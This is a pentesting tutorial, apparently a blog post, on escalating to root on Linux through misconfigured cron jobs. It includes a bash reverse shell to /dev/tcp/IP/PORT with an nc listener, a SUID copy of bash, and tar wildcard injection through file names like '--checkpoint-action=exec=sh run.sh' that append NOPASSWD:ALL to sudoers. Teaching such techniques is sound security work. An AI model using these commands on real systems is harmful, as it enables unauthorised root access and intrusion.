In the world of Linux privilege escalation, there are a series of checks we must perform, and Cron Jobs should not be the exception. In this post, we will explain how to take advantage of the most typical scenarios with Cron Jobs to escalate privileges.
- What is Cron?
- Crontab File
- Crontab Commands
- Crontab Operators
- Crontab Restrictions
- Cron Jobs
- Cron Jobs - File Permissions / File Overwrite
- Cron Jobs - PATH Environment Variable
- Cron Jobs - Wildcards
- Enumeration of Hidden Tasks
- References
In Linux operating systems, like other systems, you can automate the launching of programs or scripts at certain time periods. If this is configured incorrectly (misconfigurations), it can allow attackers to escalate privileges.
It is always important to understand the process of what we are doing, so let’s take a look at some theory:
What is Cron?
Cron is a clock daemon that runs constantly in the background, allowing users to automate tasks. This Cron utility examines a “to-do list” looking for any pending scheduled tasks to execute. If it finds one, it executes it; if not, it waits for a period of time and checks the list again. This to-do list is called a cron table or Crontab.
Cron is managed with different files. In the /etc/ directory you can find:
- cron.hourly
- cron.daily
- cron.weekly
- cron.monthly
If you place a script in one of these directories, it will be executed every hour, day, week, or month, depending on the directory where it has been added. These directories are managed by the crontab file.

Now, let’s talk about the file that contains the to-do list → crontab
Crontab File
The crontab file is the one that contains a list of commands scheduled to be executed at specific times. It has 5 fields to indicate the time units for executing commands or tasks, and its structure is:
- Minute / Hour / Day Of The Month / Month / Day Of The Week

Crontab Commands
A quick look at those parameters that crontab handles:

- crontab -e: Edit the crontab file or create one if it doesn’t already exist.
- crontab -l: Display the contents of the crontab file.
- crontab -r: Remove the current crontab.
- crontab -i: Remove your current crontab file with a prompt before removing it.
- crontab -u : Specify the username whose crontab is to be used (This option requires root privileges)
Crontab Operators
- ,: specifies a list of values, for example: “1,3,4,7,8”
- -: specifies a range of values, for example: “1-6”, which is equivalent to “1,2,3,4,5,6”
- *: specifies all possible values for a field. For example, an asterisk in the hour field would be equivalent to ‘every hour’.
- /: can be used to skip a given number of values.
Examples of using operators to execute tasks at time intervals:
Reminder of the syntax:
- Minute / Hour / Day Of The Month / Month / Day Of The Week
- Execute a command at 3:00 PM every day from Monday to Friday:
0 15 * * 1-5 command
- Execute a script on the first Monday of each month at 7 AM:
0 7 1-7 * 1 /path/to/script.sh
- Every two hours from 11 PM to 7 AM, and at 8 AM:
0 23-7/2,8 * * * date
- At 11:00 AM on day 4 and every Mon, Tue, Wed:
0 11 4 * lun-mié date
Crontab Restrictions
There are files with the ability to manage which users can use crontab, these files are:
/etc/cron.allow/etc/cron.deny
These files do not exist by default but can be created with the intention of having control. In case they exist, these are the following conditions for users:
- If the username is in the
cron.allowfile → Can execute crontab - If the
cron.allowfile does not exist → Can execute crontab if their username is not in thecron.denyfile - If
cron.denyexists and is empty → all users can use crontab - If neither file exists → depending on the configuration parameters, only root will be able to use this command, or all users will be able to use it.
On standard Debian systems, all users can use this command.
Cron Jobs
In Linux, those scheduled tasks within the crontab file are known as Cron Jobs. Cron Jobs are structured as follows:

In the following example, we can see that the crontab file stores the automated tasks, that is, the Cron Jobs:

There are three main ways to exploit Cron Jobs:
- Weak file permissions (File Permissions / File Overwrite)
- Lack of absolute path in binaries and commands (PATH Environment Variable)
- The use of (*) that are employed when executing commands (Wildcards)
Now let’s go through each of these methods.
Cron Jobs - File Permissions / File Overwrite
Let’s examine the /etc/crontab file:
cat /etc/crontab

We observe that there are 2 scheduled tasks to be executed every minute with root privileges:
overwrite.sh/usr/local/bin/compress.sh
Now we search for where the overwrite.sh file is located:
locate overwrite.sh

It is located in /usr/local/bin/overwrite.sh. Let’s verify the permissions:
ls -lah /usr/local/bin/overwrite.sh

As we can see, “others” have write permissions. We will take advantage of this to modify the overwrite.sh script.
We can either add lines to the script or replace it entirely. For this example, we will replace it with a reverse shell in bash:
nano /usr/local/bin/overwrite.sh

Once the file has been modified, we set up a listener on our machine on the same port indicated in the script.
From our machine:
nc -lvp 4444

We obtain a shell with root privileges. This is because there is a scheduled task or cronjob that executes the script we have modified as root. Moreover, what is truly important is that this script can be modified by “others.”
Cron Jobs - PATH Environment Variable
Again, we verify the /etc/crontab file:
cat /etc/crontab

Two points to highlight in this view of the crontab file would be:
- Within the Cron Jobs, there is the
overwrite.shscript, and it is not called from an absolute path. Therefore, when this cronjob is executed, a search will begin throughout the PATH that we can see in the crontab itself, until it finds theoverwrite.shscript to execute. - The PATH variable starts with the
/home/userdirectory
From the previous example, we know that overwrite.sh is located in /usr/local/bin/ and the search would be done as follows:

Taking advantage of this scenario, we create a script with the same name overwrite.sh in the /home/user directory. This way, when the scheduled task is executed and the PATH search begins, it will identify and execute the one we have created since it is positioned before the other one in the PATH.
And now the search would be like this:

Once located in /home/user, we create the overwrite.sh script. At this point, the possibilities are limited to your imagination, meaning there can be more than one action that leads you to become root. For this example, within the script we copy and paste the /bin/bash binary into /tmp/bash and grant SUID permissions, since with this we can easily become root.
Finally, we grant execution privileges and wait for the cronjob to execute:
cp /bin/bash /tmp/bash
chmod +xs /tmp/bash


After a few seconds, when the task is executed:

We observe that the cronjob has been executed because the /bin/bash binary has been copied to the /tmp/ folder and has been assigned SUID permissions. We proceed to execute the bash binary now with SUID permissions as indicated in GTFOBins for bash with SUID:
./bash -p

Once again, we are root, all thanks to the fact that in the cronjob, in the case of overwrite.sh, it is not called from an absolute path and, additionally, we have write capability in one of the paths prior to where the legitimate binary is located.
Cron Jobs - Wildcards
Basically, within this scenario, the problem that exists is that when a cronjob is executed with a wildcard (*), its presence interprets the name of all the files where the wildcard (*) is being executed as arguments. Therefore, we can inject arguments by creating files with names that correspond to valid arguments for that program. For this example, we would be talking about valid arguments for tar.
Let’s verify the /etc/crontab file once more:
cat /etc/crontab

In the crontab we can find a task that executes a script which contains the tar command with a wildcard (*) in the /home/user directory as an argument.
Tar → Execute arbitrary commands:

In this case, tar has parameters through which it can have the capability to execute commands. Specifically, for tar, we can make use of the parameters in the image, where in “ACTION” we will use “exec” to execute a given external command.
echo 'echo "user ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > run.sh
echo "" > "--checkpoint-action=exec=sh run.sh"
echo "" > --checkpoint=1

For this example, two files are created named like the parameters of tar, which will execute the run.sh file, which in turn will add to our user the ability to execute any command as any user, thanks to sudoers (this last part is simply one possible way to escalate privileges, other ways already seen in this post would be through direct execution of a reverse shell, or assigning SUID to bash).
Once the cron task is executed, by running sudo -l we verify that we can execute commands with sudo. In other words, we are inside the sudoers group:

Note: it repeats for each time the task has been executed and, therefore, adds the statement again to the file

And finally, we are root again, all due to the presence of a wildcard (*) in a scheduled task that runs with root and uses tar, which has arguments to execute commands.
A visual example of this situation would be:

Other binaries besides Tar that are also susceptible to the use of wildcards are:
- chown / chmod
- Rsync
- 7z
- zip
Enumeration of Hidden Tasks
It is possible that a scenario may occur where there are tasks or Cron Jobs that we are unable to enumerate with the privileges we have and, therefore, to enumerate them we need to use tools like pspy.
In this example, we see how being the www-data user we do not identify custom Cron Jobs:

Now, using the pspy tool, which is responsible for monitoring processes, and they are visible to everyone:

A cronjob executed by the root user (UID=0) is identified, where it is executing the following script: /var/www/html/tmp/clean.sh

We verify the permissions on the clean.sh script and we are the owners of the script:

In this case, we modify it and add a reverse shell and set up a listener:
echo "bash -i >& /dev/tcp/IP/PORT 0>&1" >> clean.sh
nc -nlvp port

As we can see, we have root privileges.
This is where the questions arise:
- If a cronjob exists and I checked the /etc/crontab file and didn’t see it, then where is it?
Basically, this is because in the path /var/spool/cron/crontabs files are stored that are created according to the username of the account. This means that there can be scheduled tasks or crontabs that run as root in a file called root and is only visible by root. So let’s say that cron, within its “to-do list,” also checks /var/spool/cron/crontabs in the search for crontab files.
Once we are root, we verify the file and permissions, and as we can see, the scheduled task or cronjob identified by pspy is stored here:

We return to the www-data user to confirm that indeed with these privileges we are not able to see this file:

Finally, a summary list of directories or files to review in order to detect possible cron tasks (in case our user has read permissions) would be:
/var/scripts//var/log/cron.log/etc/crontab/var/spool/cron//var/spool/cron/crontabs//etc/cron.hourly/etc/cron.daily/etc/cron.weekly/etc/cron.monthly